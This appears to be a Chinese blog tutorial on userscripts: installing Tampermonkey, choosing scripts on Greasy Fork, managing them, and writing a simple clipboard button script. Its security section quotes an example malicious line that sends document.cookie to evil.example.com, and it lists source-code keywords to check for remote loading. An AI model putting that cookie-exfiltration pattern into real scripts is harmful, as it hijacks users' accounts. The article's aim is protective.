尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

用户脚本实战指南:从Greasy Fork安装到Tampermonkey写脚本

用户脚本实战指南:从Greasy Fork安装到Tampermonkey写脚本 最近几个月我陆陆续续在几个浏览器折腾脚本前后装了二十多个踩了不少坑也省下了大量重复点击的时间。有人可能觉得“用户脚本”是高阶玩家的玩具但其实它就是一个运行在浏览器里的JavaScript小程序能在指定的网站上自动改页面、加按钮、去广告、下载资源。而Greasy Fork这个网站就是这类脚本的集中分发地。今天把我从选脚本、装脚本、管脚本到自己动手写脚本的完整过程整理出来希望能帮到正准备入坑的朋友。1. 先搞清楚用户脚本到底是个什么东西1.1 用户脚本的运行原理用户脚本userscript本质上就是一段普通的JavaScript代码但它不是在浏览器控制台里手动执行一次就完事而是由“脚本管理器”这个浏览器扩展负责管理在符合条件时自动注入到指定网页里运行。你可以把它理解成给网站装的一组“自动微操作”。比如某个网页每次都要你手动点三次才能看到完整内容传统做法要么复制粘贴到控制台要么开发一个完整浏览器插件。用户脚本则多用一种包含元信息的头注释也就是俗称的油猴头metadata block在头部用match声明这脚本应该跑在哪些网站上。脚本管理器读取这些声明后当你打开对应网站时自动把脚本代码注入进去执行整个过程用户无感知。脚本管理器和脚本本身是分开的两层。脚本管理器负责拦截网页、注入脚本、提供API比如跨域请求、本地存储脚本则专注于页面改造。常用的管理器有Tampermonkey俗称油猴、Violentmonkey和Greasemonkey三者的兼容性差异不大新手上路选Tampermonkey最省心。1.2 Greasy Fork在用户脚本生态里的位置早期用户脚本都集中在userscripts.org站点关停后脚本社区一度分散Greasy Fork正是在这个真空期接棒出现的由Stylish扩展的作者Jason Barnabe维护继承了绝大多数周边生态并继续运营至今。Greasy Fork有点像脚本界的“应用商店”——它不提供代码托管服务只负责索引、展示和分发。作者把脚本源码上传到GitHub等仓库后再把发布版本同步到Greasy Fork用户在Greasy Fork上可以看到脚本描述、安装量、评分、评论区反馈然后一键安装。它比直接翻GitHub找源码更舒服因为脚本描述、安装量、评分、评论区都在同一个页面上安装前就能对脚本质量有个初步判断。很多纯小白误以为“Greasy Fork 油猴”其实Greasy Fork只是脚本的目录站真正让脚本跑起来的是你浏览器里的Tampermonkey或Violentmonkey。两者配合才是完整链路管理器提供运行环境Greasy Fork提供脚本源。2. 从零开始在Greasy Fork上安装你的第一个脚本2.1 第一步不是找脚本而是装脚本管理器有朋友第一次接触Greasy Fork点开一个脚本页面就看见“安装此脚本”的绿色按钮兴致勃勃点下去结果浏览器提示要安装某个扩展然后卡住了。这是必经流程——Greasy Fork本身不参与代码执行它只是把脚本文件内容以特殊格式传给你浏览器上的管理器管理器收到后弹出确认窗口你点“安装”之后脚本才会进入本地。安装管理器的具体步骤很简单打开你浏览器的扩展商店Edge加载项、Chrome商店、Firefox AMO等搜索Tampermonkey点击安装再把扩展固定到工具栏。以Edge为例安装完后右键Tampermonkey图标选“扩展选项”能看到仪表盘、脚本列表、设置等入口。建议把“配置模式”调成“高级”方便后续查看脚本的控制台日志和外部编辑器功能。提示不同管理器的图标、菜单术语略有差异但核心操作都在“脚本管理页”里。装好管理器后建议先开着它自带的说明文档方便对照。2.2 在Greasy Fork上挑选脚本的实用技巧Greasy Fork首页会展示热门脚本、最近更新、脚本分类等信息通过顶部的搜索框可以按关键词搜索。我第一次用的时候很盲目直接搜“百度网盘”“去广告”之类的大词结果出来一堆脚本不知道选哪个。我自己后来固定了一套挑选逻辑按优先级排序看安装量和更新时间。安装量过万、三个月内还有更新的基本是活跃维护的主流脚本。看评分和评论。可能有人会质疑评分刷量但评论区里的“不生效了”“报错xxx”信息量大——如果多个人在最近几天都反馈同样问题多半是目标网站改版导致脚本失效得暂缓安装。看脚本源码页和版本号。版本号连续更新说明作者还在维护源码页能让你预览代码对新手来说至少扫一眼文件大小和match匹配范围心里有数。优先选描述中标注“开箱即用”“无需额外配置”的清晰说明这类脚本通常面向大众需求交互做得更完善。安装脚本的具体流程是在脚本详情页点击“安装此脚本”管理器弹出安装确认窗口里面会显示脚本名称、版本、匹配的网站列表、权限申请等信息。确认无误后点击“安装”脚本就进去了。之后打开匹配的网站刷新一下观察页面有没有变化如果没有变化多半是脚本没匹配上或者网站本身把脚本拦截了。3. 脚本怎么用、怎么管从新手到进阶的日常操作3.1 脚本的启用、停用与自动更新装好脚本后日常管理主要在管理器的仪表盘里进行。Tampermonkey的“已安装脚本”列表会展示每个脚本的名称、状态、匹配的网站和更新时间。你随时可以一键启用或停用某个脚本点“编辑”按钮还能直接打开代码编辑器查看源码。管理脚本时最重要的习惯是“按需启用”而不是装完就全开着。脚本之间可能存在冲突比如两个脚本同时在页面里注入大量DOM节点、操作同一个按钮轻则按钮重复出现重则页面卡顿。我自己的原则是能合并成一个脚本完成的功能就合并装完某个脚本后如果发现页面异常第一时间停掉刚装的版本做对照。自动更新功能建议保留开启但提升检查频率时需要谨慎。Greasy Fork上的脚本更新节奏各不相同有些作者一周更三次有些一年更一次自动更新能帮你跟上修复进度。不过新版不一定总是更好个别脚本新版本会引入一个不稳定机制或砍掉旧功能。如果你手头有个好用但已停更的旧脚本可以把它设为“固定版本”避免被自动更新“优化”掉。3.2 常用脚本类型盘点与代表性脚本按使用场景用户脚本大致可以分成几类。我按我个人的使用频率从高到低列出供参考。去广告类。去掉视频片头广告、页面内嵌广告、搜索推广位。典型代表如各种“广告净化器”脚本但需要谨慎挑选广告拦截如果做过头会误伤内容区。下载辅助类。为百度网盘、各大资源站等增加直链下载、链接识别、文件名修正等功能。这类脚本对隐私风险的要求高安装前务必看源码里的网络请求部分。界面增强类。为知乎、微博、B站等网站增加宽屏模式、自动展开全文、去二维码浮层等。这类脚本数量最多也最适合新手体验。一键操作类。比如“复制搜索”“解除右键限制”“自动签到”等本质就是把原本需要多次点击的操作合并成一次。我在日常使用中比较依赖的脚本有一款“宽屏优化”和一款“自动签到”它们都不是什么黑科技但每天都能帮我省下几分钟。选脚本时先想清楚自己最痛的需求不要贪多。4. 安全第一用脚本前必须懂的风险控制4.1 恶意脚本是怎么害人的用户脚本的权限边界比普通网页大得多它可以在任意匹配的网站上执行任意代码意味着它能读取网页里的内容、模拟点击、窃取表单数据、向任意服务器发送请求。绝大多数脚本是善意的但恶意脚本的破坏力也不容小觑轻则页面被注入广告重则账号信息被劫持。举个例子一个脚本匹配了*://mail.example.com/*它的代码里有一行fetch(https://evil.example.com/?cookie document.cookie)那么你每次打开邮箱这个脚本都会把当前网站的cookie发送到攻击者的服务器。这种代码不算高深普通用户光看描述根本发现不了。更隐蔽的是“潜伏型脚本”。它正常功能是给网站加一个暗色模式但同时在后台加载一个远程脚本动态创建一个script标签指向第三方域名这样一来作者随时可以把远端代码换成恶意代码而你本地安装的脚本内容毫无变化。这也是为什么我一直强调别碰那些来源不明、代码里出现大量远程域名、安装量个位数的脚本。4.2 判断一个脚本是否安全的四个扫雷点我每次下载新脚本前都会花两三分钟快速扫一遍源码重点看四个地方看元数据块。match是否精确比如只匹配目标网站而不是通配所有域名权限声明grant是否合理有没有申请GM_xmlhttpRequest这类敏感跨域接口。看网络请求。在代码里搜索http://、https://、fetch(、XMLHttpRequest、GM_xmlhttpRequest如果脚本只是改样式这些字段一般不会出现出现就得逐个确认目标域名是否可信。看动态加载。搜索createElement(script)和eval(这两个是动态执行远程代码的常用入口如果不理解为什么要用就不要装。看评论区讨论。Greasy Fork的评论区是很好的安全情报来源有人发现脚本偷偷上传数据一般会在评论里大声说出来。注意即使脚本通过了上面的扫雷也不代表100%安全。对于涉及支付、账号类网站的脚本建议尽量选用安装量极高、口碑明确的知名脚本或者干脆手动操作别用第三方脚本。5. 进阶玩法自己写一个最简单的用户脚本5.1 写脚本前需要准备什么你在Greasy Fork上用到的每一个脚本本质上都是别人写出来分享的。一旦你理解了它的原理自己动手写一个改版脚本的门槛其实极低。准备工具只需要一个趁手的浏览器和一个脚本管理器。Tampermonkey自带的在线编辑器虽然能用但代码一多就不太舒服我建议先装一个普通的本地代码编辑器VS Code、Sublime Text等再用管理器的“外部编辑器”功能绑定。写代码的过程按“用浏览器开发者工具查看页面结构 → 写脚本 → 刷新页面看效果 → 改代码 → 刷新”的迭代来走跟平时调网页一样。给脚本命名、配置元数据块时记得认真填写name和version。namespace用你自己的域名或邮箱前缀即可用于区分同名脚本version建议从0.1开始每次改动递增。这些信息在Greasy Fork发布时会展示给用户好的描述和版本记录能提升信任度。5.2 亲手写一段能用的脚本完整过程下面我用一个实际例子演示整体流程——给某个支持Markdown的页面加一个“一键复制Markdown格式标题”按钮。这个例子覆盖了选择器、事件绑定、剪贴板操作这几个常用功能。先在管理器里新建脚本填入元数据块// UserScript // name 一键复制标题 // namespace https://example.com/ // version 0.1 // description 在文章页顶部添加一个按钮点击后复制页面标题和链接 // author myself // match https://example.com/posts/* // grant GM_setClipboard // /UserScript代码逻辑分三步(function () { use strict; function createCopyButton() { const btn document.createElement(button); btn.textContent 复制标题; btn.style.position fixed; btn.style.bottom 20px; btn.style.right 20px; btn.style.zIndex 9999; btn.addEventListener(click, () { const title document.querySelector(h1)?.innerText || document.title; const url location.href; GM_setClipboard([${title}](${url})); btn.textContent 已复制; setTimeout(() { btn.textContent 复制标题; }, 2000); }); document.body.appendChild(btn); } createCopyButton(); })();这里用到的GM_setClipboard是由管理器提供的剪贴板API需要在grant字段声明才能调用。如果你不想依赖它也可以用navigator.clipboard.writeText但那要求页面必须是安全上下文HTTPS部分环境下可能失败。写完保存后打开匹配的页面右下角应该出现一个固定定位的“复制标题”按钮。如果没出现先打开控制台看有没有报错。这种直来直去的脚本虽然谈不上多酷但能帮你跑通“改代码→注入→生效”整个链路后面再写复杂功能就有了底气。如果想要更复杂一点比如自动识别页面图片并添加下载链接、去掉页面中所有外链跳转提示层思路都一样先定位节点再修改属性或绑定事件最后让脚本自动跑。6. 常见问题与排查技巧实录6.1 脚本不生效的排查顺序脚本不生效是新手最常遇到的问题我碰到的概率高到几乎每次装新脚本都要排查。按重要程度排序建议按这个顺序检查确认管理器里的脚本是“启用”状态且匹配规则和当前网址一致。很多脚本只匹配特定路径比如/posts/*你在首页测试肯定不生效。先刷新页面几次排除缓存和脚本注入时序问题。用户脚本通常在DOM生成后注入如果你的页面有大量异步加载脚本可能会在节点出现前就执行完毕——有些复杂脚本会自己加延时或MutationObserver监听但简单脚本不会。打开浏览器开发者工具F12查看Console里有没有红色的报错。特别是“Cannot read properties of null”这类报错多半是脚本里要查找的DOM节点不存在网站改版或选择器不对都会导致这种情况。在脚本管理器的“控制台”里直接试验少部分代码定位问题。比如手动执行document.querySelector(...)看看节点到底能不能找到。如果脚本在Greasy Fork页面显示“更新于一周前”而你使用的网站最近几天刚改版大概率是网站结构和脚本的选择器对不上了。这种问题不是你造成的只能等作者更新或自己改。6.2 Greasy Fork访问和使用时的坑访问Greasy Fork本身偶尔也会遇到“页面打开慢”或“加载不出代码”的情况。这多半是网络环境影响属于暂时性问题换个时间段再试、清一下DNS缓存或换一个浏览器即可。这里建议不要使用来历不明的第三方“加速工具”尽量走常规网络路径访问避免账号和隐私泄露风险。在Greasy Fork下载脚本时偶尔会遇到“代码页显示源码但点击安装后没动静”的情况。这通常是浏览器扩展权限没给够检查一下管理器的“网站访问”权限确保它被允许访问所有网站。部分浏览器尤其是比较严格的版本会默认限制扩展读取任意网站导致Tampermonkey无法注入脚本。还有一些小细节Greasy Fork支持按“总安装数”和“日安装数”排序安装数高不代表适合你还得看脚本描述的细节评论区的“举报”按钮建议少用除非你确认脚本存在明显的恶意行为乱举报会影响作者的热情。6.3 脚本冲突和页面卡顿的实战处理脚本装多了之后会遇到一个新问题——页面加载明显变慢甚至直接卡死无响应。用户脚本在页面加载时同步执行如果你同时开了一堆“大而全”的脚本它们各自都会去遍历DOM、绑定事件、发起HTTP请求冲突几乎无法避免。我自己遇到的一个典型案例是同时安装了两款网页翻译和一款关键词高亮脚本结果页面上每次鼠标选中文本都会触发三次不同的弹出层肉眼可见的卡顿。排查方法很简单在管理器的脚本列表里先把最近安装的脚本全部停用然后逐个启用每启用一个就操作一下页面直到复现问题。处理结果要么是卸载其中一个功能重复的脚本要么是两个脚本留下更符合习惯的那个。另外简洁为美别追求把所有功能都堆在页面上多数用户脚本都会提供“设置面板”把不必要的功能关掉也能减少卡顿。重要经验升级浏览器尤其是大版本更新后务必检查一遍旧脚本是否还正常。浏览器升级能改变默认安全策略有些脚本可能因为这个无故失效。写在最后的一点心得用了这么久的用户脚本和Greasy Fork最大的感受是它提供了一个低门槛、高效率的“个人网页改造”路径。你不需要等网站官方做优化也犯不着围绕一个需求写完整的浏览器插件几十行代码就能解决一个具体痛点。在这里也想提醒大家脚本虽好但管理器和脚本本身都在不断地更新别贪多装之前多花几分钟看源码、看评论、确认权限这省下来的时间是值得的。最后再分享一个小技巧定期打开Tampermonkey的设置面板把“旧版本脚本”“从未使用过的脚本”清理一遍你的浏览器打开速度会感谢你。
返回列表